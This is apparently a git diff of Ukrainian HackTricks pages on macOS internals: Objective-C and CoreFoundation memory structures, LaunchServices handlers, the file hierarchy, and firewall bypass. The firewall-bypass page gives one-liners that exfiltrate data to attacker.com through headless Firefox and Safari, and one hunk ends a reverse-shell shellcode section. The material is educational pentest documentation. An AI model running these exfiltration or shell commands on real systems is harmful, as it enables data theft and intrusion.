|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
|
||||
**Зворотній shell**
|
||||
#### Зворотній shell
|
||||
|
||||
З [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell до **127.0.0.1:4444**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -722,7 +783,17 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,160 @@
|
|||
# Об'єкти в пам'яті
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CFRuntimeClass
|
||||
|
||||
Об'єкти CF\* походять від CoreFOundation, яка надає понад 50 класів об'єктів, таких як `CFString`, `CFNumber` або `CFAllocatior`.
|
||||
|
||||
Усі ці класи є екземплярами класу `CFRuntimeClass`, який, коли викликається, повертає індекс до `__CFRuntimeClassTable`. CFRuntimeClass визначений у [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
|
||||
```objectivec
|
||||
// Some comments were added to the original code
|
||||
|
||||
enum { // Version field constants
|
||||
_kCFRuntimeScannedObject = (1UL << 0),
|
||||
_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
|
||||
_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
|
||||
_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
|
||||
};
|
||||
|
||||
typedef struct __CFRuntimeClass {
|
||||
CFIndex version; // This is made a bitwise OR with the relevant previous flags
|
||||
|
||||
const char *className; // must be a pure ASCII string, nul-terminated
|
||||
void (*init)(CFTypeRef cf); // Initializer function
|
||||
CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
|
||||
void (*finalize)(CFTypeRef cf); // Finalizer function
|
||||
Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
|
||||
CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
|
||||
CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
|
||||
CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
|
||||
|
||||
#define CF_RECLAIM_AVAILABLE 1
|
||||
void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
|
||||
// It not null, it's called when the last reference to the object is released
|
||||
|
||||
#define CF_REFCOUNT_AVAILABLE 1
|
||||
// If not null, the following is called when incrementing or decrementing reference count
|
||||
uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
|
||||
// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
|
||||
// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
|
||||
// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
|
||||
// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
|
||||
// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
|
||||
// remember that reference count incrementing/decrementing must be done thread-safely/atomically
|
||||
// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
|
||||
// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
|
||||
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
|
||||
#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
|
||||
// If not 0, allocation of object must be on this boundary
|
||||
uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
|
||||
|
||||
} CFRuntimeClass;
|
||||
```
|
||||
## Objective-C
|
||||
|
||||
### Використані секції пам'яті
|
||||
|
||||
Більшість даних, які використовується в роботі ObjectiveC runtime, будуть змінюватися під час виконання, тому вони використовують деякі секції з сегмента **\_\_DATA** в пам'яті:
|
||||
|
||||
* **`__objc_msgrefs`** (`message_ref_t`): Посилання на повідомлення
|
||||
* **`__objc_ivar`** (`ivar`): Змінні екземпляра
|
||||
* **`__objc_data`** (`...`): Змінні дані
|
||||
* **`__objc_classrefs`** (`Class`): Посилання на класи
|
||||
* **`__objc_superrefs`** (`Class`): Посилання на суперкласи
|
||||
* **`__objc_protorefs`** (`protocol_t *`): Посилання на протоколи
|
||||
* **`__objc_selrefs`** (`SEL`): Посилання на селектори
|
||||
* **`__objc_const`** (`...`): Дані класу `r/o` та інші (сподіваємося) постійні дані
|
||||
* **`__objc_imageinfo`** (`version, flags`): Використовується під час завантаження зображення: Поточна версія `0`; Прапорці вказують на підтримку попередньо оптимізованого GC тощо.
|
||||
* **`__objc_protolist`** (`protocol_t *`): Список протоколів
|
||||
* **`__objc_nlcatlist`** (`category_t`): Вказівник на Non-Lazy категорії, визначені в цьому бінарному файлі
|
||||
* **`__objc_catlist`**** (`category_t`): Вказівник на категорії, визначені в цьому бінарному файлі
|
||||
* **`__objc_nlclslist`** (`classref_t`): Вказівник на Non-Lazy класи Objective-C, визначені в цьому бінарному файлі
|
||||
* **`__objc_classlist`** (`classref_t`): Вказівники на всі класи Objective-C, визначені в цьому бінарному файлі
|
||||
|
||||
Також використовує деякі секції в сегменті **`__TEXT`** для зберігання постійних значень, якщо неможливо записати в цій секції:
|
||||
|
||||
* **`__objc_methname`** (C-String): Назви методів
|
||||
* **`__objc_classname`** (C-String): Назви класів
|
||||
* **`__objc_methtype`** (C-String): Типи методів
|
||||
|
||||
### Кодування типів
|
||||
|
||||
Objective-C використовує деяке замаскування для кодування селекторів та типів змінних простих і складних типів:
|
||||
|
||||
* Примітивні типи використовують першу літеру типу `i` для `int`, `c` для `char`, `l` для `long`... і використовують велику літеру у випадку беззнакового типу (`L` для `unsigned Long`).
|
||||
* Інші типи даних, чиї літери вже використовуються або є спеціальними, використовують інші літери або символи, наприклад `q` для `long long`, `b` для `бітових полів`, `B` для `булевих значень`, `#` для `класів`, `@` для `id`, `*` для `вказівників на char`, `^` для загальних `вказівників` та `?` для `невизначеного`.
|
||||
* Масиви, структури та об'єднання використовують `[`, `{` та `(`
|
||||
|
||||
#### Приклад оголошення методу
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Селектор буде `processString:withOptions:andError:`
|
||||
|
||||
#### Кодування типу
|
||||
|
||||
* `id` кодується як `@`
|
||||
* `char *` кодується як `*`
|
||||
|
||||
Повне кодування типу для методу:
|
||||
```less
|
||||
@24@0:8@16*20^@24
|
||||
```
|
||||
#### Детальний розбір
|
||||
|
||||
1. **Тип повернення (`NSString *`)**: Закодований як `@` з довжиною 24
|
||||
2. **`self` (екземпляр об'єкта)**: Закодований як `@`, на зміщенні 0
|
||||
3. **`_cmd` (селектор)**: Закодований як `:`, на зміщенні 8
|
||||
4. **Перший аргумент (`char * input`)**: Закодований як `*`, на зміщенні 16
|
||||
5. **Другий аргумент (`NSDictionary * options`)**: Закодований як `@`, на зміщенні 20
|
||||
6. **Третій аргумент (`NSError ** error`)**: Закодований як `^@`, на зміщенні 24
|
||||
|
||||
**З селектором + кодуванням можна відновити метод.**
|
||||
|
||||
### **Класи**
|
||||
|
||||
Класи в Objective-C - це структура з властивостями, вказівниками на методи... Можна знайти структуру `objc_class` в [**вихідному коді**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
|
||||
```objectivec
|
||||
struct objc_class : objc_object {
|
||||
// Class ISA;
|
||||
Class superclass;
|
||||
cache_t cache; // formerly cache pointer and vtable
|
||||
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
|
||||
|
||||
class_rw_t *data() {
|
||||
return bits.data();
|
||||
}
|
||||
void setData(class_rw_t *newData) {
|
||||
bits.setData(newData);
|
||||
}
|
||||
|
||||
void setInfo(uint32_t set) {
|
||||
assert(isFuture() || isRealized());
|
||||
data()->setFlags(set);
|
||||
}
|
||||
[...]
|
||||
```
|
||||
Цей клас використовує деякі біти поля isa для вказівки деякої інформації про клас.
|
||||
|
||||
Потім структура має вказівник на структуру `class_ro_t`, збережену на диску, яка містить атрибути класу, такі як його ім'я, базові методи, властивості та змінні екземпляра.\
|
||||
Під час виконання використовується додаткова структура `class_rw_t`, яка містить вказівники, які можуть бути змінені, такі як методи, протоколи, властивості...
|
|
@ -1,18 +1,19 @@
|
|||
# Обхід брандмауерів macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Знайдені техніки
|
||||
|
||||
|
@ -20,13 +21,13 @@
|
|||
|
||||
### Зловживання іменами білого списку
|
||||
|
||||
* Наприклад, назви шкідливого ПЗ можуть бути такими, як відомі процеси macOS, наприклад **`launchd`** 
|
||||
* Наприклад, назви шкідливих програм можуть бути викликані іменами відомих процесів macOS, таких як **`launchd`**
|
||||
|
||||
### Синтетичний клік
|
||||
|
||||
* Якщо брандмауер запитує дозвіл від користувача, шкідливе ПЗ може **клацнути на дозвіл**
|
||||
* Якщо брандмауер запитує дозвіл від користувача, шкідлива програма може **клацнути на дозвіл**
|
||||
|
||||
### **Використання підписаних бінарних файлів Apple**
|
||||
### Використання підписаних бінарних файлів Apple
|
||||
|
||||
* Наприклад, **`curl`**, а також інші, такі як **`whois`**
|
||||
|
||||
|
@ -36,19 +37,19 @@
|
|||
|
||||
### Загальний обхід
|
||||
|
||||
Деякі ідеї для спроб обхіду брандмауерів
|
||||
Деякі ідеї для спроб обійти брандмауери
|
||||
|
||||
### Перевірка дозволеного трафіку
|
||||
|
||||
Знання дозволеного трафіку допоможе вам визначити потенційно білі списки доменів або додатки, які мають до них доступ.
|
||||
Знання дозволеного трафіку допоможе вам визначити потенційно включені в білий список домени або додатки, які мають до них доступ.
|
||||
```bash
|
||||
lsof -i TCP -sTCP:ESTABLISHED
|
||||
```
|
||||
### Зловживання DNS
|
||||
|
||||
Розподіл DNS виконується за допомогою підписаної програми **`mdnsreponder`**, яка, ймовірно, буде дозволена звертатися до DNS-серверів.
|
||||
DNS-розрішення виконується за допомогою підписаної програми **`mdnsreponder`**, яка, ймовірно, буде дозволена звертатися до DNS-серверів.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
### Через програми браузера
|
||||
|
||||
|
@ -73,11 +74,11 @@ end tell
|
|||
```bash
|
||||
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
* Safari
|
||||
* Сафарі
|
||||
```bash
|
||||
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
### Через впровадження процесів
|
||||
### Через внедрення процесів
|
||||
|
||||
Якщо ви можете **впровадити код в процес**, який має дозвіл на підключення до будь-якого сервера, ви можете обійти захист брандмауера:
|
||||
|
||||
|
@ -88,17 +89,3 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
|||
## Посилання
|
||||
|
||||
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перегляньте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,46 @@
|
|||
# Обробники програм для розширень файлів та URL-схем в macOS
|
||||
# Обробники файлів та URL-схем в macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Обробники програм для розширень файлів та URL-схем
|
||||
## База даних LaunchServices
|
||||
|
||||
Наступний рядок може бути корисним для пошуку програм, які можуть відкривати файли в залежності від їх розширення:
|
||||
Це база даних всіх встановлених додатків в macOS, до якої можна звертатися для отримання інформації про кожен встановлений додаток, таку як підтримувані ним URL-схеми та типи MIME.
|
||||
|
||||
Можливо вивести цю базу даних за допомогою:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Або використовуючи інструмент [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
|
||||
|
||||
**`/usr/libexec/lsd`** - це мозок бази даних. Він надає **кілька служб XPC**, таких як `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, та інші. Але він також **вимагає деякі дозволи** для додатків, щоб мати змогу використовувати викладені функціональні можливості XPC, такі як `.launchservices.changedefaulthandler` або `.launchservices.changeurlschemehandler` для зміни типів мультимедійних файлів або схем URL та інші.
|
||||
|
||||
**`/System/Library/CoreServices/launchservicesd`** претендує на службу `com.apple.coreservices.launchservicesd` і може бути опитаний для отримання інформації про запущені додатки. Його можна опитати за допомогою системного інструменту /**`usr/bin/lsappinfo`** або з [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
|
||||
|
||||
## Обробники файлів з розширенням та схем URL додатків
|
||||
|
||||
Наступний рядок може бути корисним для пошуку додатків, які можуть відкривати файли в залежності від розширення:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Або скористайтеся чимось на зразок [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
|
||||
```bash
|
||||
./swda getSchemes #Get all the available schemes
|
||||
|
@ -59,16 +80,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
|||
<string>xbl</string>
|
||||
<string>svg</string>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
# Файли, теки, бінарні файли та пам'ять macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Структура ієрархії файлів
|
||||
|
||||
* **/Applications**: Встановлені додатки повинні бути тут. Усі користувачі зможуть до них отримати доступ.
|
||||
* **/bin**: Бінарні файли командного рядка
|
||||
* **/cores**: Якщо існує, використовується для зберігання дампів ядра
|
||||
* **/dev**: Все трактується як файл, тому ви можете побачити тут збережені пристрої апаратного забезпечення.
|
||||
* **/dev**: Все трактується як файл, тому можна побачити тут збережені пристрої апаратного забезпечення.
|
||||
* **/etc**: Файли конфігурації
|
||||
* **/Library**: Тут можна знайти багато підкаталогів та файлів, пов'язаних з налаштуваннями, кешами та журналами. Папка Library існує в корені та в кожному каталозі користувача.
|
||||
* **/private**: Недокументовано, але багато згаданих тек є символічними посиланнями на приватну теку.
|
||||
|
@ -30,22 +31,22 @@
|
|||
* **/usr**: Конфігураційні та системні бінарні файли
|
||||
* **/var**: Файли журналів
|
||||
* **/Volumes**: Підключені диски з'являться тут.
|
||||
* **/.vol**: Запускаючи `stat a.txt`, ви отримуєте щось на зразок `16777223 7545753 -rw-r--r-- 1 username wheel ...`, де перше число - це ідентифікаційний номер тома, де існує файл, а друге - номер іноду. Ви можете отримати доступ до вмісту цього файлу через /.vol/ з цією інформацією, запустивши `cat /.vol/16777223/7545753`
|
||||
* **/.vol**: Запускаючи `stat a.txt`, ви отримаєте щось на зразок `16777223 7545753 -rw-r--r-- 1 username wheel ...`, де перше число - це ідентифікаційний номер тома, де знаходиться файл, а друге - номер іноди. Ви можете отримати доступ до вмісту цього файлу через /.vol/ з цією інформацією, запустивши `cat /.vol/16777223/7545753`
|
||||
|
||||
### Теки додатків
|
||||
### Теки Додатків
|
||||
